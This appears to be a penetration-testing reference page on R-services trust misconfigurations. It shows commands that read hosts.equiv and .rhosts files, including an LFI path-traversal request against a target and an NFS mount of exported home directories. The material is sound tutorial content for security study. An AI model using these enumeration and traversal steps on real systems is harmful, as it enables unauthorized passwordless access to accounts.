Skip to content
HackIndex.io

R-Services Trust Misconfiguration

3 min read Created Mar 30, 2026 Last updated Mar 30, 2026

R-Services Trust Misconfiguration

R-services trust is controlled by two files: /etc/hosts.equiv applies system-wide trust for all users, and ~/.rhosts applies per-user trust. A wildcard or overly broad entry in either file grants passwordless remote access to any matching host or user. Finding these files readable (typically via another access vector like NFS, LFI, or SSH) reveals the full trust map and explains why rsh or rlogin succeeds without credentials.

  • hosts.equiv: System-Wide Trust
  • .rhosts: Per-User Trust
  • Read .rhosts via NFS
  • Trust File Syntax Reference

hosts.equiv: System-Wide Trust

If you have read access to the target filesystem via NFS, LFI, or an existing shell, check the system-wide trust configuration first:

┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts.equiv 
+ +
10.10.10.0/24
trustedhost.company.com

+ + is the most dangerous possible entry: it means any host, any user, is trusted to connect without a password. This is unauthenticated remote access for every account on the system. A CIDR block means any host in that subnet is trusted. A single hostname trusts all users on that specific host.

Read hosts.equiv via LFI when direct filesystem access is not available:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/index.php?page=../../etc/hosts.equiv" 
+ +

.rhosts: Per-User Trust

Individual users can define their own trust in ~/.rhosts. The root .rhosts is the highest value target: it grants passwordless root access:

┌──(kali㉿kali)-[~]
└─$ cat /root/.rhosts 
+ +
┌──(kali㉿kali)-[~]
└─$ # Check all home directories for .rhosts files
┌──(kali㉿kali)-[~]
└─$ find /home /root -name '.rhosts' -readable 2>/dev/null | while read f; do echo "=== $f ==="; cat "$f"; done 
=== /root/.rhosts ===
+ +
=== /home/alice/.rhosts ===
10.10.14.5 alice
Explain command
/home /root Search paths: all user home dirs and root's home directory.
-name '.rhosts' Match files named exactly '.rhosts'.
-readable Filter results to only files readable by the current user.
2>/dev/null Suppress permission-denied and other error messages.

alice's .rhosts trusting a specific IP and username means only connections from 10.10.14.5 as user alice are trusted for that account. Check whether your Kali IP matches: if it does, rlogin as alice works without a password from your position.

Read .rhosts via NFS

When NFS exports home directories, .rhosts files are often readable without any shell access:

┌──(kali㉿kali)-[~]
└─$ showmount -e $TARGET_IP 
/home *
/root *
Explain command
-e Show the NFS server's export list on the target host.
$TARGET_IP Placeholder for the target host's IP address.
┌──(kali㉿kali)-[~]
└─$ mkdir /tmp/nfs_home && mount -t nfs $TARGET_IP:/home /tmp/nfs_home -o nolock
┌──(kali㉿kali)-[~]
└─$ find /tmp/nfs_home -name '.rhosts' 2>/dev/null | xargs cat 
+ +
Explain command
/tmp/nfs_home Local directory created as the NFS mount point
-t nfs Specifies the filesystem type to mount as NFS
$TARGET_IP:/home Remote NFS export path on the target host to mount
/tmp/nfs_home Local mount point where the NFS share is attached
-o nolock Disables NFS file locking, useful for older NFS servers
/tmp/nfs_home Root directory to search for .rhosts files
-name '.rhosts' Matches files named exactly .rhosts
2>/dev/null Suppresses stderr output by redirecting to null
xargs cat Passes found file paths to cat to display their contents

Trust File Syntax Reference

Entry

Effect

+ +

Any host, any user trusted: fully open

hostname

All users on that host trusted

hostname username

Specific user on specific host trusted

+ username

That username trusted from any host

-hostname

Explicit deny for that host

References